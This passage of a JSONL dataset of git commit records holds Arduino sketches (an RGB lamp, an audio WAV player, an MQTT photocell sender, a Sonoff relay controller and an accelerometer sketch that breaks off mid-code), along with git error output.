'https:\/\/github.com\/bloc11\/authsys-common.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"365024a8325321274bc0733b75acfdb7790ae8ff","subject":"stable file, no music, have to add LCD","message":"stable file, no music, have to add LCD\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot3.ino","new_file":"motor_robot3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f83d07fe4966715dc59a29c8b8de4a1fb46efc6e","subject":"Firmware ~ Crude implementation for color changing mode","message":"Firmware ~ Crude implementation for color changing mode\n","repos":"dector\/tlamp,dector\/tlamp","old_file":"arduino\/TLamp\/TLamp.ino","new_file":"arduino\/TLamp\/TLamp.ino","new_contents":"#define PIN_RED 3\n#define PIN_GREEN 5\n#define PIN_BLUE 6\n\n#define PIN_STATUS LED_BUILTIN\n\n#define FIRMWARE_VERSION \"tLamp v.0.1\"\n\n#define EMPTY_COMMAND_SUCCESS \" \"\n#define EMPTY_COMMAND_FAIL \"\"\n\nenum LightMode {\n NONE, STATIC,CRUDE\n};\n\nconst int crude_T = 5000;\nconst int crude_I = 255\/2;\nconst float crude_Ts = 1.0\/6 * crude_T;\n\nunsigned long lightModeStart = 0;\nLightMode lightMode = NONE;\n\nvoid setup() {\n pinMode(PIN_RED, OUTPUT);\n pinMode(PIN_GREEN, OUTPUT);\n pinMode(PIN_BLUE, OUTPUT);\n pinMode(PIN_STATUS, OUTPUT);\n \n digitalWrite(PIN_RED, LOW);\n digitalWrite(PIN_GREEN, LOW);\n digitalWrite(PIN_BLUE, LOW);\n digitalWrite(PIN_STATUS, LOW);\n \n Serial.begin(9600);\n}\n\nvoid loop() {\n if (Serial.available()) {\n String command = Serial.readStringUntil('\\n');\n\n String output = processCommand(command);\n if (output.length() > 0) {\n Serial.println(\"+\" + command);\n if (output != EMPTY_COMMAND_SUCCESS)\n Serial.println(output);\n blink(PIN_STATUS, 2);\n } else {\n Serial.println(\"-\" + command);\n Serial.println(\"UNKNOWN\");\n blink(PIN_STATUS, 1);\n }\n }\n\n processLightMode();\n}\n\nvoid processLightMode() {\n switch(lightMode) {\n case LightMode::CRUDE:\n processCrudeLightMode();\n break;\n }\n}\n\nvoid processCrudeLightMode() {\n unsigned long m = millis() - lightModeStart;\n int r = countColor(m, 0*crude_Ts);\n int g = countColor(m, 2*crude_Ts);\n int b = countColor(m, 4*crude_Ts);\n setColor(1.5*r, g*0.6, b*0.6); \/\/ Some calibrations for LED color brightness\n}\n\nString processCommand(String command) {\n if (command.startsWith(\"SET #\")) {\n String colorStr = command.substring(5, 5+6);\n\n int buffSize = colorStr.length()+1;\n char buff[buffSize] = {};\n colorStr.toCharArray(buff, buffSize);\n long color = strtol(buff, NULL, 16);\n\n int r = (color >> 16) & 0xFF;\n int g = (color >> 8) & 0xFF;\n int b = (color >> 0) & 0xFF;\n\n setColor(r, g, b);\n\n setLightMode(STATIC);\n\n return EMPTY_COMMAND_SUCCESS;\n } else if (command.equals(\"CRUDE_LIGHT\")) {\n lightModeStart = millis();\n setLightMode(CRUDE);\n return EMPTY_COMMAND_SUCCESS;\n } else if (command.startsWith(\"VERSION\")) {\n return FIRMWARE_VERSION;\n }\n\n return EMPTY_COMMAND_FAIL;\n}\n\nvoid setLightMode(LightMode mode) {\n lightMode = mode;\n}\n\nvoid setColor(int r, int g, int b) {\n analogWrite(PIN_RED, r);\n analogWrite(PIN_GREEN, g);\n analogWrite(PIN_BLUE, b);\n}\n\nvoid blink(int pin) {\n blink(pin, 1);\n}\n\nvoid blink(int pin, int times) {\n for (int i = 0; i < times; i++) {\n if (i != 0) delay(100);\n \n digitalWrite(pin, HIGH);\n delay(100);\n digitalWrite(pin, LOW);\n }\n}\n\nint countColor(unsigned long millis, int shift) {\n int t = (millis + shift) % crude_T;\n\n if (0 <= t && t <= 2*crude_Ts) {\n return 0;\n } else if (3*crude_Ts <= t && t <= 5*crude_Ts) {\n return crude_I;\n } else if (2*crude_Ts <= t && t <= 3*crude_Ts) {\n return (int)(crude_I * (t - 2*crude_Ts) \/ crude_Ts);\n } else if (5*crude_Ts <= t && t <= 6*crude_Ts) {\n return (int)(crude_I - crude_I * (t - 5*crude_Ts) \/ crude_Ts);\n } else {\n return 0;\n }\n}\n","old_contents":"#define PIN_RED 3\n#define PIN_GREEN 5\n#define PIN_BLUE 6\n\n#define PIN_STATUS LED_BUILTIN\n\n#define FIRMWARE_VERSION \"tLamp v.0.1\"\n\n#define EMPTY_COMMAND_SUCCESS \" \"\n#define EMPTY_COMMAND_FAIL \"\"\n\nvoid setup() {\n pinMode(PIN_RED, OUTPUT);\n pinMode(PIN_GREEN, OUTPUT);\n pinMode(PIN_BLUE, OUTPUT);\n pinMode(PIN_STATUS, OUTPUT);\n \n digitalWrite(PIN_RED, LOW);\n digitalWrite(PIN_GREEN, LOW);\n digitalWrite(PIN_BLUE, LOW);\n digitalWrite(PIN_STATUS, LOW);\n \n Serial.begin(9600);\n}\n\nvoid loop() {\n if (Serial.available()) {\n String command = Serial.readStringUntil('\\n');\n\n String output = processCommand(command);\n if (output.length() > 1) {\n Serial.println(\"+\" + command);\n if (output != EMPTY_COMMAND_SUCCESS)\n Serial.println(output);\n blink(PIN_STATUS, 2);\n } else {\n Serial.println(\"-\" + command);\n Serial.println(\"UNKNOWN\");\n blink(PIN_STATUS, 1);\n }\n }\n}\n\nString processCommand(String command) {\n if (command.startsWith(\"SET #\")) {\n String colorStr = command.substring(5, 5+6);\n\n int buffSize = colorStr.length()+1;\n char buff[buffSize] = {};\n colorStr.toCharArray(buff, buffSize);\n long color = strtol(buff, NULL, 16);\n\n int r = (color >> 16) & 0xFF;\n int g = (color >> 8) & 0xFF;\n int b = (color >> 0) & 0xFF;\n\n setColor(r, g, b);\n\n return EMPTY_COMMAND_SUCCESS;\n } else if (command.startsWith(\"VERSION\")) {\n return FIRMWARE_VERSION;\n }\n\n return EMPTY_COMMAND_FAIL;\n}\n\nvoid setColor(int r, int g, int b) {\n analogWrite(PIN_RED, r);\n analogWrite(PIN_GREEN, g);\n analogWrite(PIN_BLUE, b);\n}\n\nvoid blink(int pin) {\n blink(pin, 1);\n}\n\nvoid blink(int pin, int times) {\n for (int i = 0; i < times; i++) {\n if (i != 0) delay(100);\n \n digitalWrite(pin, HIGH);\n delay(100);\n digitalWrite(pin, LOW);\n }\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"2234f94953e130a5094adc5a6299f7be7c947716","subject":"Examples: Add SDWavPlayer","message":"Examples: Add SDWavPlayer\n","repos":"Tympan\/Tympan_Library,Tympan\/Tympan_Library,Tympan\/Tympan_Library","old_file":"examples\/02-Utility\/SDWavPlayer\/SDWavPlayer.ino","new_file":"examples\/02-Utility\/SDWavPlayer\/SDWavPlayer.ino","new_contents":"\/*\n * SDWavPlayer\n * \n * Created: Chip Audette, OpenAudio, Dec 2019\n * Based On: WaveFilePlayer from Paul Stoffregen, PJRC, Teensy\n * \n * Play back a WAV file through the Typman.\n * \n *\/\n\n#include <Tympan_Library.h>\n#include \"AudioSDPlayer_F32.h\"\n\n\/\/set the sample rate and block size\nconst float sample_rate_Hz = (int)(44100); \/\/this value puts 37000Hz right at a FFT bin (or other frequencies in the table in AudioOutputI2S_F32)\nconst int audio_block_samples = 128; \/\/do not make bigger than AUDIO_BLOCK_SAMPLES from AudioStream.h (which is 128) Must be 128 for SD recording.\nAudioSettings_F32 audio_settings(sample_rate_Hz, audio_block_samples);\n\n\/\/create audio objects\nAudioSDPlayer_F32 audioSDPlayer(audio_settings);\nAudioOutputI2S_F32 audioOutput(audio_settings);\nTympan myTympan(TympanRev::D);\n\n\/\/create audio connections\nAudioConnection_F32 patchCord1(audioSDPlayer, 0, audioOutput, 0);\nAudioConnection_F32 patchCord2(audioSDPlayer, 1, audioOutput, 1);\n\n\nvoid setup() {\n myTympan.beginBothSerial(); delay(1200);\n myTympan.print(\"SDWavPlayer\"); myTympan.println(\": setup():...\");\n myTympan.print(\"Sample Rate (Hz): \"); myTympan.println(audio_settings.sample_rate_Hz);\n myTympan.print(\"Audio Block Size (samples): \"); myTympan.println(audio_settings.audio_block_samples);\n \n \/\/ Audio connections require memory to work.\n AudioMemory_F32(20, audio_settings); \n\n \/\/ Start the Tympan\n myTympan.enable();\n myTympan.volume(0.5); \/\/any value 0 to 1.0??\n\n \/\/prepare SD player\n audioSDPlayer.begin();\n\n \/\/finish setup\n delay(2000); \/\/stall a second\n Serial.println(\"Setup complete.\");\n}\n\nunsigned long end_millis = 0;\nString filename = \"SDTEST1.WAV\";\/\/ filenames are always uppercase 8.3 format\nvoid loop() {\n\n \/\/service the audio player\n if (!audioSDPlayer.isPlaying()) { \/\/wait until previous play is done\n \/\/start playing audio\n myTympan.print(\"Starting audio player: \");\n myTympan.println(filename);\n audioSDPlayer.play(filename);\n }\n\n \/\/do other things here, if desired...like, maybe check the volume knob?\n\n\n \/\/stall, just to be nice?\n delay(5);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/02-Utility\/SDWavPlayer\/SDWavPlayer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"59ef2601b4c7ca43f48e2b96db5cbbafb7220659","subject":"Updated Arduino RC Driver","message":"Updated Arduino RC Driver\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/embedded\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/basicDriveCode\/basicDriveCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bf1b252c5694aa3ee68032b9de23484df55b3080","subject":"Reverted back to 236ed0f (Working Drive code)","message":"Reverted back to 236ed0f (Working Drive code)\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/embedded\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/basicDriveCode\/basicDriveCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"19cca4ae089467ebafcb8bbd18fc51fd4c82832e","subject":"adds fona analog in example","message":"adds fona analog in example\n","repos":"adafruit\/adafruit-io-basics,adafruit\/adafruit-io-basics","old_file":"arduino-fona\/analog-in\/analog-in.ino","new_file":"arduino-fona\/analog-in\/analog-in.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library FONA Example\n Designed specifically to work with the Adafruit FONA\n ----> http:\/\/www.adafruit.com\/products\/1946\n ----> http:\/\/www.adafruit.com\/products\/1963\n ----> http:\/\/www.adafruit.com\/products\/2468\n ----> http:\/\/www.adafruit.com\/products\/2542\n\n These cellular modules use TTL Serial to communicate, 2 pins are\n required to interface.\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries.\n Adafruit IO example additions by Todd Treece.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n#include <Adafruit_SleepyDog.h>\n#include <SoftwareSerial.h>\n#include \"Adafruit_FONA.h\"\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_FONA.h\"\n\n\/****************************** Pins ****************************************\/\n#define PHOTOCELL A0\n#define FONA_RX 2\n#define FONA_TX 3\n#define FONA_RST 4\nSoftwareSerial fonaSS = SoftwareSerial(FONA_TX, FONA_RX);\n\nAdafruit_FONA fona = Adafruit_FONA(FONA_RST);\n\n\/************************* WiFi Access Point *********************************\/\n\n \/\/ Optionally configure a GPRS APN, username, and password.\n \/\/ You might need to do this to access your network's GPRS\/data\n \/\/ network. Contact your provider for the exact APN, username,\n \/\/ and password values. Username and password are optional and\n \/\/ can be removed, but APN is required.\n#define FONA_APN \"\"\n#define FONA_USERNAME \"\"\n#define FONA_PASSWORD \"\"\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 1883\n#define AIO_USERNAME \"...your AIO username (see https:\/\/accounts.adafruit.com)...\"\n#define AIO_KEY \"...your AIO key...\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Store the MQTT server, client ID, username, and password in flash memory.\n\/\/ This is required for using the Adafruit MQTT library.\nconst char MQTT_SERVER[] PROGMEM = AIO_SERVER;\n\/\/ Set a unique MQTT client ID using the AIO key + the date and time the sketch\n\/\/ was compiled (so this should be unique across multiple devices for a user,\n\/\/ alternatively you can manually set this to a GUID or other random value).\nconst char MQTT_CLIENTID[] PROGMEM = AIO_KEY __DATE__ __TIME__;\nconst char MQTT_USERNAME[] PROGMEM = AIO_USERNAME;\nconst char MQTT_PASSWORD[] PROGMEM = AIO_KEY;\n\n\/\/ Setup the FONA MQTT class by passing in the FONA class and MQTT server and login details.\nAdafruit_MQTT_FONA mqtt(&fona, MQTT_SERVER, AIO_SERVERPORT, MQTT_CLIENTID, MQTT_USERNAME, MQTT_PASSWORD);\n\n\/\/ You don't need to change anything below this line!\n#define halt(s) { Serial.println(F( s )); while(1); }\n\n\/\/ FONAconnect is a helper function that sets up the FONA and connects to\n\/\/ the GPRS network. See the fonahelper.cpp tab above for the source!\nboolean FONAconnect(const __FlashStringHelper *apn, const __FlashStringHelper *username, const __FlashStringHelper *password);\n\n\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'photocell' for publishing changes.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nconst char PHOTOCELL_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/photocell\";\nAdafruit_MQTT_Publish photocell = Adafruit_MQTT_Publish(&mqtt, PHOTOCELL_FEED);\n\n\/*************************** Sketch Code ************************************\/\n\n\/\/ photocell state\nint current = 0;\nint last = -1;\n\nvoid setup() {\n\n Serial.begin(115200);\n\n Serial.println(F(\"Adafruit IO Example\"));\n Serial.print(F(\"Free RAM: \")); Serial.println(getFreeRam(), DEC);\n\n \/\/ Initialise the FONA module\n while (! FONAconnect(F(FONA_APN), F(FONA_USERNAME), F(FONA_PASSWORD)))\n halt(\"Retrying FONA\");\n\n Serial.println(F(\"Connected to Cellular!\"));\n\n Watchdog.reset();\n delay(3000); \/\/ wait a few seconds to stabilize connection\n Watchdog.reset();\n\n \/\/ connect to adafruit io\n connect();\n\n}\n\nvoid loop() {\n\n \/\/ Make sure to reset watchdog every loop iteration!\n Watchdog.reset();\n\n \/\/ ping adafruit io a few times to make sure we remain connected\n if(! mqtt.ping(3)) {\n \/\/ reconnect to adafruit io\n if(! mqtt.connected())\n connect();\n }\n\n \/\/ grab the current state of the photocell\n current = analogRead(PHOTOCELL);\n\n \/\/ return if the value hasn't changed\n if(current == last)\n return;\n\n \/\/ Now we can publish stuff!\n Serial.print(F(\"\\nSending photocell value: \"));\n Serial.print(current);\n Serial.print(\"... \");\n\n if (! photocell.publish(current))\n Serial.println(F(\"Failed.\"));\n else\n Serial.println(F(\"Success!\"));\n\n \/\/ save the photocell state\n last = current;\n\n}\n\n\/\/ connect to adafruit io via MQTT\nvoid connect() {\n\n Serial.print(F(\"Connecting to Adafruit IO... \"));\n\n int8_t ret, retries = 5;\n\n while ((ret = mqtt.connect()) != 0) {\n\n switch (ret) {\n case 1: Serial.println(F(\"Wrong protocol\")); break;\n case 2: Serial.println(F(\"ID rejected\")); break;\n case 3: Serial.println(F(\"Server unavail\")); break;\n case 4: Serial.println(F(\"Bad user\/pass\")); break;\n case 5: Serial.println(F(\"Not authed\")); break;\n case 6: Serial.println(F(\"Failed to subscribe\")); break;\n default: Serial.println(F(\"Connection failed\")); break;\n }\n\n if(ret >= 0)\n mqtt.disconnect();\n\n retries--;\n\n if (retries == 0)\n halt(\"Resetting system\");\n\n Serial.println(F(\"Retrying connection...\"));\n delay(5000);\n\n }\n\n Serial.println(F(\"Adafruit IO Connected!\"));\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-fona\/analog-in\/analog-in.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"837443309d6e1134a7e1136dcb5a99e5d4c7586e","subject":":bug: Don't retain events. Fixes #3","message":":bug: Don't retain events. Fixes #3\n","repos":"kylegordon\/homie-sonoff-touch","old_file":"src\/homie-sonoff-touch.ino","new_file":"src\/homie-sonoff-touch.ino","new_contents":"#include <ClickButton.h>\n#include <Homie.h>\n\n#define FW_NAME \"homie-sonoff-touch\"\n#define FW_VERSION \"2.0.1\"\n\n\/* Magic sequence for Autodetectable Binary Upload *\/\nconst char *__FLAGGED_FW_NAME = \"\\xbf\\x84\\xe4\\x13\\x54\" FW_NAME \"\\x93\\x44\\x6b\\xa7\\x75\";\nconst char *__FLAGGED_FW_VERSION = \"\\x6a\\x3f\\x3e\\x0e\\xe1\" FW_VERSION \"\\xb0\\x30\\x48\\xd4\\x1a\";\n\/* End of magic sequence for Autodetectable Binary Upload *\/\n\n\/\/ LED_PIN controls the LED under the wifi symbol on the front plate.\n\/\/ RELAY_PIN controls the relay, *AND* the LED under the touchpad.\n\/\/ Scheme is similar to https:\/\/github.com\/enc-X\/sonoff-homie\n\/\/ ie, mosquitto_pub -h homeauto.vpn.glasgownet.com -t 'devices\/85376d51\/relay\/relayState\/set' -m 'ON'\n\n\/\/ Nr. of buttons in the array\nconst int buttons = 1;\n\nconst int PIN_RELAY = 12;\nconst int PIN_LED = 13;\nconst int PIN_BUTTON = 0;\n\nint function = 0;\n\n\/\/ Timer related for dimming delays\nunsigned long previousMillis = 0;\n\/\/ Milliseconds to wait per cycle for a held command.\nconst int waitInterval = 100;\n\n\/\/ Associate the PIN_BUTTON GPIO with the ClickButton library\nClickButton button1(PIN_BUTTON, LOW, CLICKBTN_PULLUP);\n\n\/\/ Register our two HomieNode instances\n\/\/ nodeName(property, value, retained);\nHomieNode relayNode(\"relay\", \"relay\");\nHomieNode buttonNode(\"button\", \"button\", false);\n\nbool RelayHandler(const HomieRange& range, const String& value) {\n \/*\n Here we handle incoming requests to set the state of the relay\n Set the RELAY_PIN to the appropriate level, and additionally set the\n state on the relayState topic.\n *\/\n if (value == \"ON\") {\n digitalWrite(PIN_RELAY, HIGH);\n relayNode.setProperty(\"relayState\").send(\"ON\");\n Serial.println(\"Relay is on\");\n } else if (value == \"OFF\") {\n digitalWrite(PIN_RELAY, LOW);\n relayNode.setProperty(\"relayState\").send(\"OFF\");\n Serial.println(\"Relay is off\");\n } else {\n Serial.print(\"Unknown value: \");\n Serial.println(value);\n return false;\n }\n return true;\n}\n\nvoid loopHandler() {\n \/\/ Update button state\n button1.Update();\n\n \/\/ Save click codes in function, as click codes are reset at next Update()\n if(button1.clicks != 0) function = button1.clicks;\n\n \/\/ These are single event button presses.\n \/\/ Handle them and reset function back to 0\n if ( function > 0 ) {\n Serial.println(\"One-shot\");\n if ( function == 1 ) {\n Serial.println(\"SINGLE click\");\n buttonNode.setProperty(\"event\").send(\"SINGLE\");\n }\n\n if ( function == 2 ) {\n buttonNode.setProperty(\"event\").send(\"DOUBLE\");\n Serial.println(\"DOUBLE click\");\n }\n\n if ( function == 3 ) {\n buttonNode.setProperty(\"event\").send(\"TRIPLE\");\n Serial.println(\"TRIPLE click\");\n }\n \/\/ This has been a single event.\n function = 0;\n }\n\n \/\/ These are repeat events, where the button is being held down.\n \/\/ Handle them, but don't reset function back to 0 unless the button is released.\n if ( function < 0 ) {\n if ( millis() - previousMillis >= waitInterval ) {\n previousMillis = millis();\n if ( function == -1 ) {\n buttonNode.setProperty(\"event\").send(\"SINGLEHELD\");\n Serial.println(\"SINGLE LONG click\");\n }\n\n if ( function == -2 ) {\n buttonNode.setProperty(\"event\").send(\"DOUBLEHELD\");\n Serial.println(\"DOUBLE LONG click\");\n }\n\n if ( function == -3 ) {\n buttonNode.setProperty(\"event\").send(\"TRIPLEHELD\");\n Serial.println(\"TRIPLE LONG click\");\n }\n }\n\n \/\/ Decide whether the button is being held or not\n if ( button1.depressed == 1 ) {\n \/\/ This will need rate limited\n Serial.println(\"Held\");\n }\n if ( button1.depressed == 0 ) {\n Serial.println(\"Released\");\n function = 0;\n }\n \/\/ Rate limit...\n\n }\n\n delay(5);\n\n}\n\nvoid setup() {\n pinMode(PIN_RELAY, OUTPUT);\n digitalWrite(PIN_RELAY, LOW);\n\n \/\/ Setup button timers (all in milliseconds \/ ms)\n \/\/ (These are default if not set, but changeable for convenience)\n button1.debounceTime = 20; \/\/ Debounce timer in ms\n button1.multiclickTime = 250; \/\/ Time limit for multi clicks\n button1.longClickTime = 1000; \/\/ time until \"held-down clicks\" register\n\n Homie_setFirmware(FW_NAME, FW_VERSION);\n Homie.setLedPin(PIN_LED, HIGH); \/\/ Status LED\n \/\/ This is a full reset, and will wipe the config\n Homie.setResetTrigger(PIN_BUTTON, LOW, 30000);\n Homie.setLoopFunction(loopHandler);\n relayNode.advertise(\"relayState\").settable(RelayHandler);\n Homie.setup();\n}\n\nvoid loop() {\n Homie.loop();\n}\n","old_contents":"#include <ClickButton.h>\n#include <Homie.h>\n\n#define FW_NAME \"homie-sonoff-touch\"\n#define FW_VERSION \"2.0.0\"\n\n\/* Magic sequence for Autodetectable Binary Upload *\/\nconst char *__FLAGGED_FW_NAME = \"\\xbf\\x84\\xe4\\x13\\x54\" FW_NAME \"\\x93\\x44\\x6b\\xa7\\x75\";\nconst char *__FLAGGED_FW_VERSION = \"\\x6a\\x3f\\x3e\\x0e\\xe1\" FW_VERSION \"\\xb0\\x30\\x48\\xd4\\x1a\";\n\/* End of magic sequence for Autodetectable Binary Upload *\/\n\n\/\/ LED_PIN controls the LED under the wifi symbol on the front plate.\n\/\/ RELAY_PIN controls the relay, *AND* the LED under the touchpad.\n\/\/ Scheme is similar to https:\/\/github.com\/enc-X\/sonoff-homie\n\/\/ ie, mosquitto_pub -h homeauto.vpn.glasgownet.com -t 'devices\/85376d51\/relay\/relayState\/set' -m 'ON'\n\n\/\/ Nr. of buttons in the array\nconst int buttons = 1;\n\nconst int PIN_RELAY = 12;\nconst int PIN_LED = 13;\nconst int PIN_BUTTON = 0;\n\nint function = 0;\n\n\/\/ Timer related for dimming delays\nunsigned long previousMillis = 0;\n\/\/ Milliseconds to wait per cycle for a held command.\nconst int waitInterval = 100;\n\n\/\/ Associate the PIN_BUTTON GPIO with the ClickButton library\nClickButton button1(PIN_BUTTON, LOW, CLICKBTN_PULLUP);\n\n\/\/ Register our two HomieNode instances\nHomieNode relayNode(\"relay\", \"relay\");\nHomieNode buttonNode(\"button\", \"button\");\n\nbool RelayHandler(const HomieRange& range, const String& value) {\n \/*\n Here we handle incoming requests to set the state of the relay\n Set the RELAY_PIN to the appropriate level, and additionally set the\n state on the relayState topic.\n *\/\n if (value == \"ON\") {\n digitalWrite(PIN_RELAY, HIGH);\n relayNode.setProperty(\"relayState\").send(\"ON\");\n Serial.println(\"Relay is on\");\n } else if (value == \"OFF\") {\n digitalWrite(PIN_RELAY, LOW);\n relayNode.setProperty(\"relayState\").send(\"OFF\");\n Serial.println(\"Relay is off\");\n } else {\n Serial.print(\"Unknown value: \");\n Serial.println(value);\n return false;\n }\n return true;\n}\n\nvoid loopHandler() {\n \/\/ Update button state\n button1.Update();\n\n \/\/ Save click codes in function, as click codes are reset at next Update()\n if(button1.clicks != 0) function = button1.clicks;\n\n \/\/ These are single event button presses.\n \/\/ Handle them and reset function back to 0\n if ( function > 0 ) {\n Serial.println(\"One-shot\");\n if ( function == 1 ) {\n Serial.println(\"SINGLE click\");\n buttonNode.setProperty(\"event\").send(\"SINGLE\");\n }\n\n if ( function == 2 ) {\n buttonNode.setProperty(\"event\").send(\"DOUBLE\");\n Serial.println(\"DOUBLE click\");\n }\n\n if ( function == 3 ) {\n buttonNode.setProperty(\"event\").send(\"TRIPLE\");\n Serial.println(\"TRIPLE click\");\n }\n \/\/ This has been a single event.\n function = 0;\n }\n\n \/\/ These are repeat events, where the button is being held down.\n \/\/ Handle them, but don't reset function back to 0 unless the button is released.\n if ( function < 0 ) {\n if ( millis() - previousMillis >= waitInterval ) {\n previousMillis = millis();\n if ( function == -1 ) {\n buttonNode.setProperty(\"event\").send(\"SINGLEHELD\");\n Serial.println(\"SINGLE LONG click\");\n }\n\n if ( function == -2 ) {\n buttonNode.setProperty(\"event\").send(\"DOUBLEHELD\");\n Serial.println(\"DOUBLE LONG click\");\n }\n\n if ( function == -3 ) {\n buttonNode.setProperty(\"event\").send(\"TRIPLEHELD\");\n Serial.println(\"TRIPLE LONG click\");\n }\n }\n\n \/\/ Decide whether the button is being held or not\n if ( button1.depressed == 1 ) {\n \/\/ This will need rate limited\n Serial.println(\"Held\");\n }\n if ( button1.depressed == 0 ) {\n Serial.println(\"Released\");\n function = 0;\n }\n \/\/ Rate limit...\n\n }\n\n delay(5);\n\n}\n\nvoid setup() {\n pinMode(PIN_RELAY, OUTPUT);\n digitalWrite(PIN_RELAY, LOW);\n\n \/\/ Setup button timers (all in milliseconds \/ ms)\n \/\/ (These are default if not set, but changeable for convenience)\n button1.debounceTime = 20; \/\/ Debounce timer in ms\n button1.multiclickTime = 250; \/\/ Time limit for multi clicks\n button1.longClickTime = 1000; \/\/ time until \"held-down clicks\" register\n\n Homie_setFirmware(FW_NAME, FW_VERSION);\n Homie.setLedPin(PIN_LED, HIGH); \/\/ Status LED\n \/\/ This is a full reset, and will wipe the config\n Homie.setResetTrigger(PIN_BUTTON, LOW, 30000);\n Homie.setLoopFunction(loopHandler);\n relayNode.advertise(\"relayState\").settable(RelayHandler);\n Homie.setup();\n}\n\nvoid loop() {\n Homie.loop();\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"4aa28ffd7b73586d7fbf027ddf06e7d0c7e61f65","subject":"Created example for Arduino","message":"Created example for Arduino","repos":"ms1963\/DiceLibArduino","old_file":"examples\/DiceTest\/DiceTest.ino","new_file":"examples\/DiceTest\/DiceTest.ino","new_contents":"#define DEBUG\n#include \"Dice.h\"\n\n\/\/ Dice with LEDs on digital Pins 9, 10, 11\nDice myDice(9,10,11);\n\nvoid setup() {\n Serial.begin(9600);\n}\n\n\nvoid loop() {\n myDice.roll(); \/\/ roll the dice\n delay(2000);\n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DiceTest\/DiceTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"57aa9ec24dda49990f04cf6603f53dbba80559a0","subject":"Create livearqm.ino","message":"Create livearqm.ino","repos":"vslyo\/ARMS,vslyo\/ARMS","old_file":"livearqm\/livearqm.ino","new_file":"livearqm\/livearqm.ino","new_contents":"\/\/ Distributed with a free-will license.\n\/\/ Use it any way you want, profit or free, provided it fits in the licenses of its associated works.\n\/\/ ADXL345\n\/\/ This code is designed to work with the ADXL345_I2CS I2C Mini Module available from ControlEverything.com.\n\/\/Adding functionality to send data to a local server.\n\/\/ https:\/\/www.controleverything.com\/content\/Accelorometer?sku=ADXL345_I2CS#tabs-0-product_tabset-2\n\n#include <application.h>\n#include <spark_wiring_i2c.h>\n#include \"Particle.h\"\n\nSYSTEM_THREAD(ENABLED);\n\nint devicesHandler(String data); \/\/ forward declaration\nvoid sendData(void);\nchar* alphadate(int);\n\n\n\/\/ ADXL345 I2C address is 0x53(83)\n#define Addr 0x53\nint count = 0;\nint tmStamp;\nint xAccl, yAccl, zAccl;\n\n\n\/\/Setup default times and such\nconst unsigned long REQUEST_WAIT_MS = 300;\nconst unsigned long RETRY_WAIT_MS = 1100;\nconst unsigned long SEND_WAIT_MS = 1;\n\nenum State { STATE_REQUEST, STATE_REQUEST_WAIT, STATE_CONNECT, STATE_SEND_DATA, STATE_RETRY_WAIT };\nState state = STATE_REQUEST;\nunsigned long stateTime = 0;\nIPAddress serverAddr;\nint serverPort;\nchar nonce[34];\nTCPClient client;\n\nint nate = 0;\n\nvoid setup()\n{ \n \/\/ Set variables\n Particle.variable(\"i2cdevice\",\"ADXL345\");\n Particle.variable(\"xAccl\",xAccl);\n Particle.variable(\"yAccl\",yAccl);\n Particle.variable(\"zAccl\",zAccl);\n \n \/\/ Set function (for server communication)\n Particle.function(\"devices\", devicesHandler);\n \n \/\/ Initialise serial communication, set baud rate = 9600\n Serial.begin(9600);\n \n \/\/Setting clock speed\n Wire.setSpeed(400000);\n \/\/ Initialise I2C communication as MASTER \n Wire.begin();\n \n \/\/Disabling single tap, double tap, active and freefall functions\n \/\/Select INT Enable Register\n Wire.write(0x2E);\n \/\/Write 0 to the DUR\n Wire.write(0x83);\n \n \/\/ Start I2C transmission\n Wire.beginTransmission(Addr);\n \/\/ Select bandwidth rate register\n Wire.write(0x2C);\n \/\/ Select output data rate = 800 Hz\n Wire.write(0x0D);\n \/\/ Stop I2C Transmission\n Wire.endTransmission();\n\n \/\/ Start I2C transmission\n Wire.beginTransmission(Addr);\n \/\/ Select power control register\n Wire.write(0x2D);\n \/\/ Select auto sleep disable\n 